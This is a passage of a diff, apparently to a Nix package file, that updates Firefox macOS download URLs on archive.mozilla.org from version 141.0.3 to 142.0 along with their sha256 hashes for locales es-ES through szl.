       arch = "mac";
-      sha256 = "840f73937407c1fd64c6b87ab2c37aa0ecf29d52a12e64e9c93cbeb2cdc9a80b";
+      sha256 = "c1a78c7d5914e96a1bf96399f208d3c53805bbff0994ea65c990656de6711332";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/es-ES/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/es-ES/Firefox%20142.0.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "f13dfb899c830e765bb4daf655c59932ce2a56de9a26b3472066324aa213698b";
+      sha256 = "bec5cf38486390dfbb7e95fa71bb23226debca760e15aa19d67fe9b0f1df264c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/es-MX/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/es-MX/Firefox%20142.0.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "09909157b6a3c443f699adca7d86d7426413b229235c60547668a1cf1d49a6f6";
+      sha256 = "07dd5830487c194b078ed4f2aba101ae559b89e11a4f69d5608969664489ee33";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/et/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/et/Firefox%20142.0.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "ef7bede85a21ef30007a04e7952f4865ee78b593cadeb05b72a2e271a0549cc8";
+      sha256 = "adf3e037eeda72569dee39b3ad4aa3ee180f9e733f327ead0a03293c28c7efed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/eu/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/eu/Firefox%20142.0.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "1eb1c38d05bd0275002a3badd4a4e1b1140bd6630ac76634dde34dae17e1169e";
+      sha256 = "363fb6c488ee0d21ce2662c0b588d37721bfead9582521e938a3dd5eedb43382";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/fa/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/fa/Firefox%20142.0.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "0bd4b3819f8f6e463da0eb12dc41ca12d1dc6b65e597ff811c79065872229cf4";
+      sha256 = "92e12ec109ead629f1ee6fafd6dd1f45e6c98c272d2b333d97a9f0d823385c82";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ff/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ff/Firefox%20142.0.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "97934e1c6396fe20fb8a02f07cd20eabee96d08c9de137dda3a81db2931bdfbc";
+      sha256 = "f8f8076cd197d8b33d615a6a72ef46fac6839c4d1c4380b7fe44fa6a962969bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/fi/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/fi/Firefox%20142.0.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "cdd665861133f2544faa94a0f35efa0c0ce70c3a53df9575b66fc5d34e32cd1e";
+      sha256 = "12a12df58ba57ae364a5cdc348d25091bf547f4079b3a2dee892cbd0212f641e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/fr/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/fr/Firefox%20142.0.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "de491c95711aa2fad263eb882d3df85d814999d77785321b3285b6da0322c955";
+      sha256 = "2c8ad051b60f24fe3002627e170231c155a8f009104f0324f69a81fb84e328a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/fur/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/fur/Firefox%20142.0.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "12c4fbc2222b77e4a7864f01989b13d2388025550fb31a8daa3670015753df87";
+      sha256 = "75f269d7b3ff0cec1c0756f68ff5f93734caec4af9292805501c85fe8a2edf8b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/fy-NL/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/fy-NL/Firefox%20142.0.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "5e9b832f8d9dc946fa30a1dc92aeb0096ff81c13c14e990a2a2b5f9740a18d68";
+      sha256 = "bf962c183c63d8c31245b76d3aa969448055ed776f7eabb7f84d62dfe9435efd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ga-IE/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ga-IE/Firefox%20142.0.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "f40457fb8375a1d708aba9bb59e95fdae5fa375c77bca3a1ed2309627b979cb0";
+      sha256 = "89fb9c8845b97ba0e035ad6d5de77cfea15a90a7dfc8b3b4a1188f5d639950e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/gd/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/gd/Firefox%20142.0.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "a361ba1570456cc1973d7ac41ea70315a68dea38f2acc524aaa716d3e07401d8";
+      sha256 = "d0bc4c08e1b5adebaf0ff5f882468a5c6e2a91e44b9ed3ef3bff74874bf6adb6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/gl/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/gl/Firefox%20142.0.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "7bfd06d194a071ea73c7104b252d8c485577f96d1248b7e45f885fcc16282bfc";
+      sha256 = "417de4bc466800813de91a0f9511fccfb7e2b3c487b3953a8bfb9474bf244372";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/gn/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/gn/Firefox%20142.0.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "10581e91db1520aae3dfe2f022d4a63a72bf35d3ed370fc9c7d2139ad18efc31";
+      sha256 = "2238c8517dfb6a19fcf74e2aaf9d3fb6b32c1500df39df09a807051c91628f4f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/gu-IN/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/gu-IN/Firefox%20142.0.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "46a8bcb2fdf8beba7b6d1d2dd865a5d946eb9831cf2de829a9fa95ad52278a6c";
+      sha256 = "0a6b50c997b8b6dda0abb2f79d7e0b55f9b5fefc4c3d3fc54f485309c7a42f28";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/he/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/he/Firefox%20142.0.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "c6d9b59bfb3130b793b69adf7a82994d2cb37dcc48f12d0a26db85692e596f71";
+      sha256 = "0403bdf80e538c0e6393154dfa6395bf67ba846e22fb2e3d2226e77056767735";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/hi-IN/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/hi-IN/Firefox%20142.0.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "e13e83521bac0656a2fcf16d315d2cfb7b0012e9751e8d9bb60ff41b983f6ef5";
+      sha256 = "fa29a5c228b0a388105b0435ee8391ade40a64d989c7061538b08f3b8bdf033a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/hr/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/hr/Firefox%20142.0.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "d4f2a6217677d69961202c43789b0642abc11e6051480d621dd915d71afd0343";
+      sha256 = "a68ec11b400270e0c92b7909830a138d22c62e6d1c5a1c3e48ede46064c132a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/hsb/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/hsb/Firefox%20142.0.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "3a477450a0a4bb97a5cc6fc5dbe27c691c78476368fbeef1a1081301eb6e78b7";
+      sha256 = "975338659f06e26bc0ad861d4e3812f450d322213d3eae6adf1813dbdcd228b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/hu/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/hu/Firefox%20142.0.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "6cb7b635a32f588656016610b4df95cfb2287285c16cce9688600ce63b49b7f4";
+      sha256 = "2e23dcdeca7d097e7391f128fb1318b513f2a336b726982f26cdace967228bd2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/hy-AM/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/hy-AM/Firefox%20142.0.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "6095d30504f6796e620b62301cd9313d6edab557beacd466ce72dc25279b7ab6";
+      sha256 = "0fd453412aa479f31ea0a66fbaeeb384627cef88c84b9e2607703264fd1dafd8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ia/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ia/Firefox%20142.0.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "e8b2dcffbb552ff2cb43e8cc1a525c5648cefb917f39b212828213e4b10470e5";
+      sha256 = "3d750e9c0885502b57d97ff2bea8eaf00f1d205dba1cb5e64ded6fbed04ba53a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/id/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/id/Firefox%20142.0.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "3b2ae0efe9bbcd37c64c2965170975caf9ead3e4cc33f4be298cebf55a23b3fa";
+      sha256 = "52a7958c8202c6657c09560a51398fea3288dc363f0e76cb5c617ae9ae4b1d79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/is/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/is/Firefox%20142.0.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "7b1b115b29d476b69ba1e88cc9db5007e4c4b208969e221d3e80216b875d8503";
+      sha256 = "d6b1a5594f7c676add3eda5496112934620d28d3ba91bd998370b216391366b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/it/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/it/Firefox%20142.0.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "c93acbf4407d58b4573f6caa9b277cd12a08811e6057bc4629d726db8f6ed3b3";
+      sha256 = "2f101a09cffe3f9753b0013e2d2f75ec3b424fb2573461d70e3f8090ed33ac64";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ja-JP-mac/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ja-JP-mac/Firefox%20142.0.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "0a479b7510dd46e753b087ffddd177b3bdc6109189d3a4380fc02bbb22520d30";
+      sha256 = "57fe48a002ecf9ae4eb8dc61172b415b6d475c9a4056481fd0c7a00d6653726c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ka/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ka/Firefox%20142.0.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "8ab9148451d9872881d055dc415dbea8e86bf37a98e7823dacd7253dd3552c30";
+      sha256 = "ab7539e3c812221333fe0d91ea44e79007af509761c805770fe6151805f29ee5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/kab/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/kab/Firefox%20142.0.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "acef8bc598d82334be458ce69ef6f51e02ca19626c6410a87fb3a4bbe2e03d5d";
+      sha256 = "75c4be686995728b16b62c15b5b8f95de65424c53b70530c692e51024661a170";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/kk/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/kk/Firefox%20142.0.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "9c67da1022095444d85d12030bd188d6bb7c783543af9656ae572ef2ac23d1f5";
+      sha256 = "9b1f67591976b72203346391172c6e8e431e454a3dba14fe190eb74a8acfe8db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/km/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/km/Firefox%20142.0.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "bf20a6b3d30e8f102f699ec38c4d110f8d679b0a37cc4a8ba42cecdd668ea8e3";
+      sha256 = "4344634a43f5699763c4f1cdc46420fc7247882470a3365fd76baa5f12a76963";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/kn/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/kn/Firefox%20142.0.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "403c94d88679552b2eec61f947ed4321c7bb7ecdcd1af3447d3a62a80e8208b7";
+      sha256 = "1b30a75ef85f2b0ed5603d5f847874cf96ba450245453d5dc1431f1a00601970";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ko/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ko/Firefox%20142.0.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "b2524ae1e6e51231ef18bd401984d6d6849eeb0fec026673b982a7fccb811610";
+      sha256 = "5973c8b666a61845335bb2fb3299c78588f1a81a0edd9cfb668ca75e7a4288d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/lij/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/lij/Firefox%20142.0.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "67082cf180f09dff8d7abb6d134715c57e6bb5e69f4333d9cbf934d64b57ed21";
+      sha256 = "53a3c2965120ad8a27d15578eea9687747b05b2a908e5566cdf0fae34a39e98f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/lt/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/lt/Firefox%20142.0.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "73e78a66b83e8fc1d322d62da0e5a9867107aae4402e3e66300b094429cb6c08";
+      sha256 = "de50b2f81543a471c381041dfdbe8b41b5547c3dab0ba212939796e1b881adf9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/lv/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/lv/Firefox%20142.0.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "8118afb0a22a20b3f169c304eeb41a3440fc7b166840337bdf38bc622d47b1e2";
+      sha256 = "3fcdbbf864fd2d246e0ee3229b3ab0f1094af9cc64121fb5d1520f60bc0d44ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/mk/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/mk/Firefox%20142.0.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "fa955e41454ec3cb3a848b8aaf3b6f0aa2e415c4e357c4d561f103f65433fecb";
+      sha256 = "21f06d3daaee1bd5d6474ee87c64585b5c249e7e5ad342dbd59bf4447097d22d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/mr/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/mr/Firefox%20142.0.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "e7d3301568b49163d2887644e4fcbc0d24c6fae19086352d3fe36cfd4eb07e13";
+      sha256 = "ca6cea513caa1a5ec6658a27397f763fef29bc6875f9596ee0012e1a627c3a16";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ms/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ms/Firefox%20142.0.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "ea87596de497e8c34fdd8066c20da7011963f89e364b99aba63ce6252e4e1c29";
+      sha256 = "2d55ca7bad3e5a3627c41fc7b38c13827dcc308615fe50dff6a84cda37034a14";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/my/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/my/Firefox%20142.0.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "1f88103e6bf4539bb28b8b99fa9e176c85c416e55d0cf92dc8429eec0435c0ff";
+      sha256 = "696c5292317d76d6931b24d62bc9d187ef0df57f2d546ffc08e829b15f5f9338";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/nb-NO/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/nb-NO/Firefox%20142.0.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "4ac0e10d8cf5e01e521097a795a71b1099f4d2a29291432f2071df4154a8b8eb";
+      sha256 = "af9c6ddda9f9ec3536a30fdfc72405e6b6d03abd33c82d33a4f47898d11bbd6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ne-NP/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ne-NP/Firefox%20142.0.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "8b9374a47e77243acb1fa49a693ccf3fde19f070b413bf8ebd9056dee5f88a3a";
+      sha256 = "53ec6ef1f602f495ed2a037e78f46a5bb2d28dff8c647bfb49a61180062502a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/nl/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/nl/Firefox%20142.0.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "a9ec1c87d44478fdd1e16fc8d4d5df0f08394a6d99b6234083548a097dc9f714";
+      sha256 = "391683d047b3524f244a40633d74e9e295a959847b793a6f8ea5c83074441ae5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/nn-NO/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/nn-NO/Firefox%20142.0.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "44bbf70a73c514f16a284435a05b8437329200566ee17b4ac280b6b3bcc44bc7";
+      sha256 = "5b7d9599108975720d4d8ebd05db95d29da33749d1d6ca35d9794e6800f993dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/oc/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/oc/Firefox%20142.0.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "982ddc81f4800ecb3bede88e2f17eccc4288a8b8e93523677227ee5b830c8b47";
+      sha256 = "83de1844115941bd211f76fc064f36c359a418b9f07dc50afea7944731b15a0c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/pa-IN/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/pa-IN/Firefox%20142.0.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "e570a2b996c3e7ffb01bfd0875f183c87a992f5c2cb246e9f68db4e864082653";
+      sha256 = "c5925a3595907e4f31cf4731f4778a0e3747a6e0aa24d8cef7ce2c8cbd95945a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/pl/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/pl/Firefox%20142.0.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "044fb31a83a627fb1d475c8683fb66bc4098d14ac47729cfe1a0bff1609bcda8";
+      sha256 = "44b373d5aff7a9b1b450a9d14a7f1a4ca2bb4a222a37aae421ad6a955efebe96";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/pt-BR/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/pt-BR/Firefox%20142.0.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "1d4ac61aff3f7c14ba5867b7dfa5e098842bf0f25a24611abe303c1fb5536ba0";
+      sha256 = "252d327c4512a7fc3d0e685231f1d0b002af460427ffa095138da0ac2986349e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/pt-PT/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/pt-PT/Firefox%20142.0.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "ad848efcaf811e3ac8915baccce23e4520546f8923f27c1fe4b07cec4203546e";
+      sha256 = "6228dc5de24d9daaf2360767625f7f994d522defe8db57feba7a982034624b34";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/rm/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/rm/Firefox%20142.0.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "019f188b80dfcb513af4e623cc4b7c4c983c0bf65ed888ee9f46f4d92b1c7048";
+      sha256 = "f9ed3ad0f8c332e7404e8b337c6ba70036bfa3ff2412d51dc608154d5c7112c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ro/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ro/Firefox%20142.0.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "6bc2b001cd606ec3eedc88cc5736f67d2aada18ebbd46bcc8761cf4918b99e6e";
+      sha256 = "ff8f09628ae4f221a8cf76092786623dfa478eb6be851ee5fae2f5683aa8f19d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ru/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ru/Firefox%20142.0.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "b82cf9e1960b92cddf95fbd3a8174c1a2bdc387be780893780433f2e518d84f9";
+      sha256 = "2ff2dcbfad1dbe88be2cf790fc16aeb69f4a92515b9f9daa628b672a8420e377";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sat/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sat/Firefox%20142.0.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "18f71579ad0078afaf5783a54b70463bc3b2e3e72f87e4ab9f01d22e60fee14c";
+      sha256 = "bb90cdeca2802e9e19ecf88d4744844aed39a2d20655749c43574bab536fee4c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sc/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sc/Firefox%20142.0.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "c586dcb0f8fa6734fd8a822c4a54b94b4a559ac6220d884bc69d9b50f7a32d3e";
+      sha256 = "35311be30a210d5fbfe3430db8617abb9c9d85214b1ade05318397d2b4fb133c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sco/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sco/Firefox%20142.0.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "aa5b9501fd5c553b5c9ac1110b91d11de0f262b16c4068c3459d22c35639c4b4";
+      sha256 = "af1b6f912dc48e11bb4f6afbda3c6a2412e784669e60f605d044584348b7d43a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/si/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/si/Firefox%20142.0.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "b6bd43406ad0175d45cd4990ea80b83e320459627038cc018ee01aaccb49ae7e";
+      sha256 = "5ed11670f2b077f99d38453c6e0c61efd2545ef93948e753c7562487a1122177";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sk/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sk/Firefox%20142.0.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "62649f448961ccdd37f322422eba89edc607ec48d64fa93a851ba1aff3b991a9";
+      sha256 = "2edcc356df44e3b9223177c6b6a89bf63b5a24e3785341ac209d3ec834768eec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/skr/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/skr/Firefox%20142.0.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "2c23f1cd8d302488406e96b06870aae37a7ee8cd8840733451832859953345ab";
+      sha256 = "b6fe08ab8dd99794106f5dfeff0f294926d6f54690e4b616505eb70195a0c048";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sl/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sl/Firefox%20142.0.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "da380f30342abb3904c2d43a7e3250454cfb4a9c79f72f10de57d342c7e86988";
+      sha256 = "ab3f930c019bf88b296b3861a8eed095ec80684ca51ad96ce805b4f26a4c452e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/son/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/son/Firefox%20142.0.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "c5e732b1d87149a64dad91de0f6ee90509bf13023c6be74706ada3a33399b5ac";
+      sha256 = "2911806bd0e20bc2bffe220b36c207e2df4376d101f730f0a74b8856b0ef62fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sq/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sq/Firefox%20142.0.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "c44df5f08f47882dd9bf57b7bf62141517e6d8384e6c1425e3bbd1cd629f9ccb";
+      sha256 = "7bf8d73482bf7999d1eb8079213771867415fd65ff03c96b82f22251c961dd84";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sr/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sr/Firefox%20142.0.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "a865e597136910a69ce4441227b702b4ca8f676614847d712419551c38fd906a";
+      sha256 = "b9f9c929f696ed684a5faf6260547ce0bddeb3f5e5c5f11780fc1b69bc9e625a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sv-SE/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sv-SE/Firefox%20142.0.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "e1004e6ca315fda078df6da410f3fe004ab45931d48bec57d1d3d1b4e102035e";
+      sha256 = "a169a7415c5ba091b8c979cce851a534ac4dcbf21e90c370964831ac3861d76f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/szl/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/szl/Firefox%20142.0.dmg";
       locale = "szl";
       arch = "mac";
